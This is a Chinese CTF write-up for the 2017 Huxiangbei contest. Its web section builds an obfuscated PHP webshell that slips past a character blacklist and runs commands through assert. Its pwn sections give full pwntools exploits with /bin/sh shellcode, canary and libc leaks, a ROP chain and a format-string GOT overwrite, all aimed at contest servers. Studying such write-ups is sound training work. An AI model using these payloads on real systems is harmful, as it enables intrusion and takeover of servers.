湖湘杯 CTF 2017 Writeup

  1. 湖湘杯复赛
    1. Web 300 拿个shell就给flag
    2. Web 150 random
    3. Web 200 简简单单的上传,没有套路
    4. 简单android
    5. Encryptor.apk
    6. Re4newer
    7. Pwns
    8. Pwn3
    9. 流量分析
    10. pwn 200
    11. Re400
    12. 热身题

湖湘杯复赛

Web 300 拿个shell就给flag

看源码发现过滤了各种字符

<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['content'])){
   show_source(__FILE__);
   die();
}
function rand_string( $length ) {
   $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";    
   $size = strlen( $chars );
   $str = '';
   for( $i = 0; $i < $length; $i++) {
       $str .= $chars[ rand( 0, $size - 1 ) ];
   }
   return $str;
}
$data = $_GET['content'];
$black_char = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`',  '|', '~');
foreach ($black_char as $b) {
   if (stripos($data, $b) !== false){
       die("关键字WAF");
   }
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
   echo "<a href='".$full_filename."'>shell</a></br>";
   echo "我的/flag,你读到了么";
}else{
   echo "噢 噢,错了";
} 

fuzz等操作发现有以下字符可以绕过black_char

{
}
;
[
]
_
$
=
+
.
(
)
'
中文

然后就用这些构造webshell吧

<?php
$_=[];
$_=''.$_; // $_='Array';
$_=$_['{'=='}']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

则可以有如下payload

/?content=$_=[];$_=''.$_;$_=$_['{'=='}'];$___=$_;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$____='_';$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$_=$$____;$___($_[_]);

1
然后访问该php木马
post数据

_=system('ls')

ls改成你想要执行的命令

3
4

Web 150 random

一开始发现的是.index.php.swp也是会被服务器解析为php的,就看不到源代码。。
后面更新题目才可以泄露出源代码

<?php
error_reporting(0);
$flag = "*********************";
echo "please input a rand_num !";
function create_password($pw_length =  10){
    $randpwd = "";
    for ($i = 0; $i < $pw_length; $i++){
        $randpwd .= chr(mt_rand(100, 200));
    }
    return $randpwd;
}

session_start();

mt_srand(time());

$pwd=create_password();

echo $pwd.'||';    

if($pwd == $_GET['pwd']){
    echo "first";
    if($_SESSION['userLogin']==$_GET['login'])
        echo "Nice , you get the flag it is ".$flag ;
}else{
    echo "Wrong!";
}

$_SESSION['userLogin']=create_password(32).rand();

?>

绕过分两步:
step 1:
发现短时间内的pwd是相同的,所以可以脚本取pwd再发回去
step 2:
cookie为空,则$_SESSION[‘userLogin’]为空

写脚本

import requests
import urllib


code = "123"
while True:
    r1 = requests.get(url="http://114.215.138.89:10080/index.php?pwd="+urllib.quote(code)+"&login=",cookies={})
    print(r1.content)
    first = r1.content.find('!<br>')
    end = r1.content.find('|')
    print("%d-%d"%(first,end))
    code = r1.content[first+5:end]
    print(code)

2

Web 200 简简单单的上传,没有套路

http://118.190.87.135:10080/?op=show&imagekey=485dd90e2cb03e779646a2f1ae405734df4399a7

又发现有/show.php
猜测op是文件包含
5
然后又发现只验证了Content-Type: image/png,可以轻易绕过
6

7

简单android

jd-gui get flag …….

8

Encryptor.apk

题目给了一个flag.encryption 和一个apk
主要逻辑是传入一个图片文件还有一个key,然后按照传入的key的长度一组将image分组和key异或,结果保存
在一个固定的目录下,apk打开的时候默认有一个key之间将加密后的flag.encryption传进去再异或一遍
getflag,, 只想吐槽这出题人的书法水平。

9
10

Re4newer

一个exe文件,加了upx壳,脱一下然后ida打开看看
主要逻辑如下
11

要求输入一个字符串,然后每位异或0x22 和写好的一段数字比较

12

直接将其抠出来,然后按照比较顺序异或一下0x22 即可
python 脚本如下

13

Pwns

一个无限循环,每次要求输入 Y/N , N 退出,输入Y之后输入一段base64
字符串,然后程序将其解密之后输出出来,每次解密都是fork一个子进程来进行操作
14
程序可以输入0x200长度的base64字符串,base64解码之后放在一个 257 大小的数组里面,然后
0x200 base64 decode之后长度长于0x10d ,可造成栈溢出,因为程序开了canary,加上result用%s 输出,直接
覆盖泄漏canary,因为是子进程,崩溃之后不会影响主线程,可以继续循环操作,再次泄漏一次libc的地址,
然后覆盖返回地址为system(“/bin/sh”)即可
15
exp 如下

#!/usr/bin/env python
#coding:utf-8
from pwn import *
import base64
shellcode_x86="\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

shellcode_x64="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

shellcode_x85_ascii="PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA"
#nasm -f bin -o shell32 shell32.asm
# x64函数前6个参数依次保存在rdi、rsi、rdx、rcx、r8和r9
#context(os='linux', arch='amd64', log_level='debug')
#shellcode = asm(shellcraft.sh())
#context.terminal = ['tmux', 'splitw', '-v']
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#frame = SigreturnFrame()
#fmt    payload+="%{}c%1$hhn".format(str(0x100-0xfe+ord(one_gadget[i])))
local=0
debug=1

filename="pwns"
libc="./libc.so.6"
ip="118.190.77.161"
port=10080
is_libc=1
is_ip=1
is_port=1

binary=ELF(filename)

if(is_libc==1):
  libc_elf=ELF(libc)
        sys_offset=libc_elf.symbols['system']

if 1==local:
  if is_libc==1:
    # p=remote('127.0.0.1',1000)
    # p=process(argv=[filename,],env={"LD_PRELOAD":"./libc"})
    p=process(filename)
  else:
    p=process(filename)

else:
  if -1==is_port:
    p=remote("",10000)
  else:
    p=remote(ip,port)



a='1234567890qwertyuiopasdfghjklzxvbnmQWERTYUIOPASDFGHJKLZXCVBNM123'
t=''
for i in a:
  t+=i*4
print t,len(t)


tt='1'+t+'1'
tt=base64.b64encode(tt)

print tt,len(tt)

print p.recv()
# print p.recv()


p.sendline("Y")


p.recvuntil(' datas:')

p.sendline(tt)


data=p.recv()
data=p.recv()

print '==========='
canary=u32(data.split('LLZZZZXXXXCCCCVVVVBBBBNNNNMMMM111122223333')[-1][:4])-0x31

print data.split('LLZZZZXXXXCCCCVVVVBBBBNNNNMMMM111122223333')
p.info(hex(canary))


p.sendline('Y')
# gdb.attach(p)
tt='1'+t
tt+='aaaa'+'aaaa'*11+'aaaa'*8
tt=base64.b64encode(tt)
p.recvuntil(' datas:')
print tt,len(tt)
p.sendline(tt)
print p.recv()
# print p.recv()
# print p.recv()
data= p.recv()


print 'data===========>',data
leak=u32(data.split('aaaa'+'aaaa'*11+'aaaa'*8)[-1][:4])


libc_base=leak-0xf3-0x19a00

p.info('aaaaaaa'+hex(leak))

p.info('aaaaaaa'+hex(libc_base))
system_addr=libc_base+0x0040310
bin_sh_addr=libc_base+0x162cec 

one_gadget=libc_base+0x401b3

tt='1'+t
tt+=p32(canary)+'aaaa'*3+p32(system_addr)+p32(system_addr)+p32(bin_sh_addr)
tt=base64.b64encode(tt)


p.sendline('Y')

p.recvuntil(' datas:')
print tt,len(tt)
p.sendline(tt)

p.interactive()

Pwn3

程序输入一个 计算的次数,即后面的循环次数,之后可以进行输入次数次的 add,sub,mul,div,save 操作
16
17
可以看到 save的时候直接将之前计算的内容写到栈上,程序没有开canary,那么就相当于是一个直接溢出
写rop了,程序是静态编译的,所以直接使用 ropgadget 来生成getshell的chain即可
exp如下

#!/usr/bin/env python
#coding:utf-8
from pwn import *

shellcode_x86="\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

shellcode_x64="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

shellcode_x85_ascii="PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA"
#nasm -f bin -o shell32 shell32.asm
# x64函数前6个参数依次保存在rdi、rsi、rdx、rcx、r8和r9
#context(os='linux', arch='amd64', log_level='debug')
#shellcode = asm(shellcraft.sh())
#context.terminal = ['tmux', 'splitw', '-v']
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#frame = SigreturnFrame()
#fmt    payload+="%{}c%1$hhn".format(str(0x100-0xfe+ord(one_gadget[i])))
local=0
debug=1

filename="pwn300"
libc="$libc"
ip="118.190.83.164"
port=10080
is_libc=0
is_ip=1
is_port=1

binary=ELF(filename)

if(is_libc==1):
  libc_elf=ELF(libc)
        sys_offset=libc_elf.symbols['system']

if 1==local:
  if is_libc==1:
                p=process(argv=[filename,],env={"LD_PRELOAD":"$libc"})
  else:
    p=process(filename)

else:
  if -1==is_port:
    p=remote("",10000)
  else:
    p=remote(ip,port)

def set_gadget(addr):
  p.recvuntil('the result')
  p.sendline('1')
  p.recvuntil('x:')
  p.sendline('0')
  p.recvuntil('y')
  p.sendline(str(addr))
  pass


p.recv()

p.sendline('100')


offset=16

for i in range(offset):
  set_gadget(0x0)

aaa=[
0x0806ed0a,
0x080ea060,
0x080bb406,
int('/bin'[::-1].encode('hex'),16),
0x080a1dad,
0x0806ed0a,
0x080ea064,
0x080bb406,
int('//sh'[::-1].encode('hex'),16),
0x080a1dad,
0x0806ed0a,
0x080ea068,
0x08054730,
0x080a1dad,
0x080481c9,
0x080ea060,
0x0806ed31,
0x080ea068,
0x080ea060,
0x0806ed0a,
0x080ea068,
0x08054730,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x08049781]

for i in aaa:
  set_gadget(i)

# gdb.attach(p)

print p.recv()
# 0x8048fa2

p.sendline('5')


p.interactive()

流量分析

直接wireshark打开文件,文件->导出对象->导出HTTP对象
发现有flag.zip
18
解压缩发现有ce.txt,打开是一串数字
19
很像是像素点,但是不知道图片size
将非255和255分别用”=”和”#”来,记事本打开,调整最小字体,调整记事本框框的大小
得到如下图
20

pwn 200

21

格式化字符串题
思路:
leak address,第35个存放的就是libc_start_main,于是可以泄露出libc基址
overwrite atoi_got 为system地址
22
然后利用read输入/bin/sh就可以getshell

from pwn import*

p=process('./pwne',env={"LD_PRELOAD":"./libc.so.6"})
p=remote('114.215.133.230',10080)
context.log_level='debug'
libc=ELF('./libc.so.6')

atoi_got=0x0804a02c
p.recvuntil('WANT PLAY[Y/N]')
p.sendline('Y')
p.recv()
p.recv()

#7
payload='A'*4+'-%35$p'
p.send(payload)
p.recvuntil('-')
libc_base=int(p.recv()[0:10],16)-0x19af3
system=libc_base+libc.symbols['system']
print 'libc_base ',hex(libc_base)
print 'system ',hex(system)

p.sendline('1')
p.recvuntil('WANT PLAY[Y/N]')
p.sendline('Y')
p.recv()
p.recv()

offset1=system & 0xff
offset2=(system >> 8) & 0xff
offset3=(system >> 16) & 0xff
offset4=(system >> 24) & 0xff
payload='%{}x'.format(str(0x100+offset1))+'%19$hhn'
payload+='%{}x'.format(str(0x100+offset2-offset1))+'%20$hhn'
payload+='%{}x'.format(str(0x100+offset3-offset2))+'%21$hhn'
payload+='%{}x'.format(str(0x100+offset4-offset3))+'%22$hhn'
payload+=p32(atoi_got)+p32(atoi_got+1)+p32(atoi_got+2)+p32(atoi_got+3)
#gdb.attach(p,'b *0x08048672')
p.send(payload)
p.recv()

p.send('/bin/sh\x00')
p.interactive()
# gdb.attach(p)
#raw_input()

Re400

xdctf2015 re300 原题
http://bobao.360.cn/ctf/learning/149.html
pyc 反编译之后得到一长串的 lambda 表达式
23
主要就是读取一个key.txt文件,然后通过系列变换之后结果存入 key.enc,变换过程是,把原字符在table的index+1后,把后6位保存到文件里
24

热身题

粉红的豹在棋盘上走的格子对应是
B5 G4 B2 B4 B5 H2 E3 B2 F5 F8 E1 B2 F7 F6 F1 G4 F5 G6 B1 G3 G5 H6 E2

根据共有64个格子
联想到了base64

25

黑人问号
B5 G4 B2 B4 B5 H2 E3 B2 F5 F8 E1 B2 F7 F6 F1 G4 F5 G6 B1 G3 G5 H6 E2
但是要考虑下base64的表应该是怎么布局
然后flag{ 的base64为 ZmxhZ3s=
26
可以推断填表的顺序是从左到右,从上到下填表的,所以可以得到映射为(末尾补上一个=)

ZmxhZ3sxdF8xNV9mdW5ueX0=

Base64解码,得到

flag{1t_15_funny}

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com